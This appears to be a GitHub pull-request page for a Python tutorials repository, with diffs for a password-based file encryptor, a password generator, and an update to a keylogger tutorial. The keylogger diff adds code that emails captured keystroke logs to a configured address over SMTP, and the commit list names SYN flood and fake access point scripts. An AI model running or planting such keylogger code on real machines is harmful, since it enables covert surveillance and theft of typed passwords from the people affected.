forked from x4nth055/pythoncode-tutorials
- Notifications
You must be signed in to change notification settings - Fork 0
[pull] master from x4nth055:master#6
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Uh oh!
There was an error while loading. Please reload this page.
Merged
Changes from all commits
Commits
Show all changes
93 commits Select commit Hold shift + click to select a range
be6e68b add dhcp listener tutorial
x4nth055 16a7329 add handling imbalanced datasets tutorial
x4nth055 140c04d add building crud app with flask tutorial
x4nth055 46347a8 update web programming topic link
x4nth055 783ad7f add logistic regression using pytorch tutorial
x4nth055 ac0ff47 add named entity recognition tutorial
x4nth055 3105f40 fix issue on syn flood attack code
x4nth055 af7dff5 fix issue on yolov3 tutorial
x4nth055 ecbc855 add simple message indicating the keylogger has started
x4nth055 6886ef6 Update arp operation code
filipe1417 1cff228 add dropout tutorial in pytorch
x4nth055 4150ce8 add simple math quiz game tutorial
x4nth055 06f57a2 add kfold cross validation tutorial
x4nth055 16872c4 add making buttons in pygame tutorial
x4nth055 4ce02df add network usage monitor tutorial
x4nth055 980cc85 fix error in folder size calculator where files do not exist in some …
x4nth055 94d3800 add long description to cse api tutorial
x4nth055 b4a8339 add gui programming folder
x4nth055 d37fc27 update button pygame tutorial code path
x4nth055 a29ed38 Merge pull request #94 from filipe1417/patch-1
x4nth055 c50100f add dimensionality reduction feature extraction tutorial
x4nth055 3ce94bd add text editor using tkinter tutorial
x4nth055 d815002 move button pygame tutorial to gui programming section
x4nth055 f928dc6 add text editor using tkinter tutorial 2
x4nth055 b31ad4d add drawing tool with pygame tutorial
x4nth055 66e5716 remove unnecessary spaces
x4nth055 cf7be35 add gui programming topic link
x4nth055 ad2bd2a add file explorer tutorial
x4nth055 d491399 add calculator app tutorial
x4nth055 0a1850a update train bert from scratch tutorial
x4nth055 a3f1d4c modify default imap server on reading emails tutorial
x4nth055 2c93f3b Add the frontend of the Flask SQLAlchemy CRUD app
EzzEddin a86f6c4 remove unlikes from youtube api code
x4nth055 307e485 Merge pull request #103 from EzzEddin/frontend-crud-flask-sqlalchemy-app
x4nth055 7946729 update requirements file for fullstack crud app flask
x4nth055 ccd6b89 add docx text replacer tutorial
x4nth055 cae3ce0 add dimensionality reduction using feature selection tutorial
x4nth055 15f9e33 add dimensionality reduction using feature selection tutorial2
x4nth055 53690e7 add type speed tester tutorial
x4nth055 823f0aa add planet simulator tutorial
x4nth055 c8928c2 update file encryption tutorial to add encryption with password
x4nth055 23bc7b9 update random data generation tutorial
x4nth055 4a88681 update keylogger tutorial
x4nth055 62b175c update sending emails tutorial
x4nth055 abd5c62 update sending emails tutorial
x4nth055 e558570 add dict app tutorial with django
x4nth055 fa9bffb remove pycache files from dict app
x4nth055 e509ed6 add more advanced features to steganography tutorial
x4nth055 bc73ba5 add more advanced features to steganography tutorial 2
x4nth055 c6be8b8 add more advanced features to steganography tutorial 3
x4nth055 5cdb58b add password generator tutorial
x4nth055 06c7cef change password generator to use secrets module for crypto-secured ge…
x4nth055 7683043 fix issue wrongly identifying internal urls as external urls in the l…
x4nth055 152f0aa add explainable ai tutorial
x4nth055 8bf9fb9 add explainable ai tutorial to README
x4nth055 ef38646 add text adventure game tutorial
x4nth055 4d66adf add zipf's word freq plot tutorial
x4nth055 f2a13df add autoencoders for dimenstionality reduction & feature extraction t…
x4nth055 1d88bb1 add plotting weather temperature forecast using matplotlib tutorial
x4nth055 11c0be5 add markdown editor tkinter tutorial
x4nth055 3f189e2 Update requirements.txt
frenchita 5594e7a add crud app django tutorial
x4nth055 cefe1a2 add Pillow to requirements in the crud app django
x4nth055 6bc2e82 update gmail api tutorial
x4nth055 9f5cfc1 clear the screen on other platforms in text adventure game tutorial
x4nth055 6d67a16 add generate svg country maps tutorial
x4nth055 04c3a2c add currency converter gui tutorial
x4nth055 e5493fa add detecting gender by name gui app tutorial
x4nth055 96313dc add spreadsheet app tkinter tutorial
x4nth055 1ad6e18 add django weather app tutorial
x4nth055 165ad07 revert raw data to be 1Kb in size in syn flooding attack code
x4nth055 a73567d add query ethereum blockchain tutorial
x4nth055 de76901 fix issue on argparser in fake access point tutorial
x4nth055 b0ae13a add data cleaning tutorial
x4nth055 9d28357 add rich text editor tutorial
x4nth055 54888a1 rename the script
x4nth055 94ee964 add python code editor tutorial
x4nth055 e840928 update pdf image extractor code to fit the new version of PyMuPDF
x4nth055 c1e3117 update paraphrasing code to fix an error
x4nth055 26cb9c4 update xss scanner to fix an error
x4nth055 252c6c1 add language detector tutorial
x4nth055 e6e60b8 add youtube video download tutorial
x4nth055 f7dbba5 add splitting text tutorial
x4nth055 c4508bc add age calculator tutorial
x4nth055 a48eed1 add django authentication tutorial
x4nth055 91329c9 add youtube audio downloader tutorial
x4nth055 61b8530 extracting frames from video - fix a bug where some frames were not s…
x4nth055 79a1a88 add alarm clock app tutorial
x4nth055 1fdb785 Merge pull request #109 from frenchita/master
x4nth055 bc1619d add blog & todo apps django tutorials to the README.md
x4nth055 5a6148b Merge branch 'master' of https://github.com/x4nth055/pythoncode-tutor…
x4nth055 83548ad add email verifier django app tutorial
x4nth055 efdbb34 add minify css tutorial
x4nth055 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Uh oh!
There was an error while loading. Please reload this page.
Jump to
The table of contents is too big for display.
Diff view
Diff view
Uh oh!
There was an error while loading. Please reload this page.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
Uh oh!
There was an error while loading. Please reload this page.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,124 @@ | ||
| import cryptography | ||
| from cryptography.fernet import Fernet | ||
| from cryptography.hazmat.primitives.kdf.scrypt import Scrypt | ||
| import secrets | ||
| import base64 | ||
| import getpass | ||
| def generate_salt(size=16): | ||
| """Generate the salt used for key derivation, | ||
| `size` is the length of the salt to generate""" | ||
| return secrets.token_bytes(size) | ||
| def derive_key(salt, password): | ||
| """Derive the key from the `password` using the passed `salt`""" | ||
| kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) | ||
| return kdf.derive(password.encode()) | ||
| def load_salt(): | ||
| # load salt from salt.salt file | ||
| return open("salt.salt", "rb").read() | ||
| def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): | ||
| """ | ||
| Generates a key from a `password` and the salt. | ||
| If `load_existing_salt` is True, it'll load the salt from a file | ||
| in the current directory called "salt.salt". | ||
| If `save_salt` is True, then it will generate a new salt | ||
| and save it to "salt.salt" | ||
| """ | ||
| if load_existing_salt: | ||
| # load existing salt | ||
| salt = load_salt() | ||
| elif save_salt: | ||
| # generate new salt and save it | ||
| salt = generate_salt(salt_size) | ||
| with open("salt.salt", "wb") as salt_file: | ||
| salt_file.write(salt) | ||
| # generate the key from the salt and the password | ||
| derived_key = derive_key(salt, password) | ||
| # encode it using Base 64 and return it | ||
| return base64.urlsafe_b64encode(derived_key) | ||
| def encrypt(filename, key): | ||
| """ | ||
| Given a filename (str) and key (bytes), it encrypts the file and write it | ||
| """ | ||
| f = Fernet(key) | ||
| with open(filename, "rb") as file: | ||
| # read all file data | ||
| file_data = file.read() | ||
| # encrypt data | ||
| encrypted_data = f.encrypt(file_data) | ||
| # write the encrypted file | ||
| with open(filename, "wb") as file: | ||
| file.write(encrypted_data) | ||
| def decrypt(filename, key): | ||
| """ | ||
| Given a filename (str) and key (bytes), it decrypts the file and write it | ||
| """ | ||
| f = Fernet(key) | ||
| with open(filename, "rb") as file: | ||
| # read the encrypted data | ||
| encrypted_data = file.read() | ||
| # decrypt data | ||
| try: | ||
| decrypted_data = f.decrypt(encrypted_data) | ||
| except cryptography.fernet.InvalidToken: | ||
| print("Invalid token, most likely the password is incorrect") | ||
| return | ||
| # write the original file | ||
| with open(filename, "wb") as file: | ||
| file.write(decrypted_data) | ||
| print("File decrypted successfully") | ||
| if __name__ == "__main__": | ||
| import argparse | ||
| parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") | ||
| parser.add_argument("file", help="File to encrypt/decrypt") | ||
| parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", | ||
| type=int) | ||
| parser.add_argument("-e", "--encrypt", action="store_true", | ||
| help="Whether to encrypt the file, only -e or -d can be specified.") | ||
| parser.add_argument("-d", "--decrypt", action="store_true", | ||
| help="Whether to decrypt the file, only -e or -d can be specified.") | ||
| args = parser.parse_args() | ||
| file = args.file | ||
| if args.encrypt: | ||
| password = getpass.getpass("Enter the password for encryption: ") | ||
| elif args.decrypt: | ||
| password = getpass.getpass("Enter the password you used for encryption: ") | ||
| if args.salt_size: | ||
| key = generate_key(password, salt_size=args.salt_size, save_salt=True) | ||
| else: | ||
| key = generate_key(password, load_existing_salt=True) | ||
| encrypt_ = args.encrypt | ||
| decrypt_ = args.decrypt | ||
| if encrypt_ and decrypt_: | ||
| raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") | ||
| elif encrypt_: | ||
| encrypt(file, key) | ||
| elif decrypt_: | ||
| decrypt(file, key) | ||
| else: | ||
| raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -3,10 +3,12 @@ | ||
| # Timer is to make a method runs after an `interval` amount of time | ||
| from threading import Timer | ||
| from datetime import datetime | ||
| from email.mime.multipart import MIMEMultipart | ||
| from email.mime.text import MIMEText | ||
| SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on | ||
| EMAIL_ADDRESS = "[email protected]" | ||
| EMAIL_PASSWORD = "put_real_pw" | ||
| EMAIL_ADDRESS = "[email protected]" | ||
| EMAIL_PASSWORD = "password_here" | ||
| class Keylogger: | ||
| def __init__(self, interval, report_method="email"): | ||
| @@ -59,17 +61,37 @@ def report_to_file(self): | ||
| print(self.log, file=f) | ||
| print(f"[+] Saved{self.filename}.txt") | ||
| def sendmail(self, email, password, message): | ||
| def prepare_mail(self, message): | ||
| """Utility function to construct a MIMEMultipart from a text | ||
| It creates an HTML version as well as text version | ||
| to be sent as an email""" | ||
| msg = MIMEMultipart("alternative") | ||
| msg["From"] = EMAIL_ADDRESS | ||
| msg["To"] = EMAIL_ADDRESS | ||
| msg["Subject"] = "Keylogger logs" | ||
| # simple paragraph, feel free to edit | ||
| html = f"<p>{message}</p>" | ||
| text_part = MIMEText(message, "plain") | ||
| html_part = MIMEText(html, "html") | ||
| msg.attach(text_part) | ||
| msg.attach(html_part) | ||
| # after making the mail, convert back as string message | ||
| return msg.as_string() | ||
| def sendmail(self, email, password, message, verbose=1): | ||
| # manages a connection to an SMTP server | ||
| server = smtplib.SMTP(host="smtp.gmail.com", port=587) | ||
| # in our case it's for Microsoft365, Outlook, Hotmail, and live.com | ||
| server = smtplib.SMTP(host="smtp.office365.com", port=587) | ||
| # connect to the SMTP server as TLS mode ( for security ) | ||
| server.starttls() | ||
| # login to the email account | ||
| server.login(email, password) | ||
| # send the actual message | ||
| server.sendmail(email, email, message) | ||
| # send the actual message after preparation | ||
| server.sendmail(email, email, self.prepare_mail(message)) | ||
| # terminates the session | ||
| server.quit() | ||
| if verbose: | ||
| print(f"{datetime.now()} - Sent an email to{email} containing:{message}") | ||
| def report(self): | ||
| """ | ||
| @@ -85,8 +107,8 @@ def report(self): | ||
| self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) | ||
| elif self.report_method == "file": | ||
| self.report_to_file() | ||
| # if you want to print in the console, uncomment below line | ||
| # print(f"[{self.filename}] -{self.log}") | ||
| # if you don't want to print in the console, comment below line | ||
| print(f"[{self.filename}] -{self.log}") | ||
| self.start_dt = datetime.now() | ||
| self.log = "" | ||
| timer = Timer(interval=self.interval, function=self.report) | ||
| @@ -102,6 +124,8 @@ def start(self): | ||
| keyboard.on_release(callback=self.callback) | ||
| # start reporting the keylogs | ||
| self.report() | ||
| # make a simple message | ||
| print(f"{datetime.now()} - Started keylogger") | ||
| # block the current thread, wait until CTRL+C is pressed | ||
| keyboard.wait() | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1 @@ | ||
| # [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,72 @@ | ||
| from argparse import ArgumentParser | ||
| import secrets | ||
| import random | ||
| import string | ||
| # Setting up the Argument Parser | ||
| parser = ArgumentParser( | ||
| prog='Password Generator.', | ||
| description='Generate any number of passwords with this tool.' | ||
| ) | ||
| # Adding the arguments to the parser | ||
| parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int) | ||
| parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int) | ||
| parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int) | ||
| parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int) | ||
| # add total pw length argument | ||
| parser.add_argument("-t", "--total-length", type=int, | ||
| help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \ | ||
| "and generate completely random passwords with the specified length") | ||
| # The amount is a number so we check it to be of type int. | ||
| parser.add_argument("-a", "--amount", default=1, type=int) | ||
| parser.add_argument("-o", "--output-file") | ||
| # Parsing the command line arguments. | ||
| args = parser.parse_args() | ||
| # list of passwords | ||
| passwords = [] | ||
| # Looping through the amount of passwords. | ||
| for _ in range(args.amount): | ||
| if args.total_length: | ||
| # generate random password with the length | ||
| # of total_length based on all available characters | ||
| passwords.append("".join( | ||
| [secrets.choice(string.digits + string.ascii_letters + string.punctuation) \ | ||
| for _ in range(args.total_length)])) | ||
| else: | ||
| password = [] | ||
| # If / how many numbers the password should contain | ||
| for _ in range(args.numbers): | ||
| password.append(secrets.choice(string.digits)) | ||
| # If / how many uppercase characters the password should contain | ||
| for _ in range(args.uppercase): | ||
| password.append(secrets.choice(string.ascii_uppercase)) | ||
| # If / how many lowercase characters the password should contain | ||
| for _ in range(args.lowercase): | ||
| password.append(secrets.choice(string.ascii_lowercase)) | ||
| # If / how many special characters the password should contain | ||
| for _ in range(args.special_chars): | ||
| password.append(secrets.choice(string.punctuation)) | ||
| # Shuffle the list with all the possible letters, numbers and symbols. | ||
| random.shuffle(password) | ||
| # Get the letters of the string up to the length argument and then join them. | ||
| password = ''.join(password) | ||
| # append this password to the overall list of password. | ||
| passwords.append(password) | ||
| # Store the password to a .txt file. | ||
| if args.output_file: | ||
| with open(args.output_file, 'w') as f: | ||
| f.write('\n'.join(passwords)) | ||
| print('\n'.join(passwords)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
Oops, something went wrong.
Uh oh!
There was an error while loading. Please reload this page.
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
💬 2 similar findings have been found in this PR
hardcoded_password_string: Possible hardcoded password: 'password_here'
Expand here to view all instances of this finding
Visit the Lift Web Console to find more details in your report.
Reply with "@sonatype-lift help" for info about LiftBot commands.
Reply with "@sonatype-lift ignore" to tell LiftBot to leave out the above finding from this PR.
Reply with "@sonatype-lift ignoreall" to tell LiftBot to leave out all the findings from this PR and from the status bar in Github.
When talking to LiftBot, you need to refresh the page to see its response. Click here to get to know more about LiftBot commands.
Was this a good recommendation?
[ 🙁 Not relevant ] - [ 😕 Won't fix ] - [ 😑 Not critical, will fix ] - [ 🙂 Critical, will fix ] - [ 😊 Critical, fixing now ]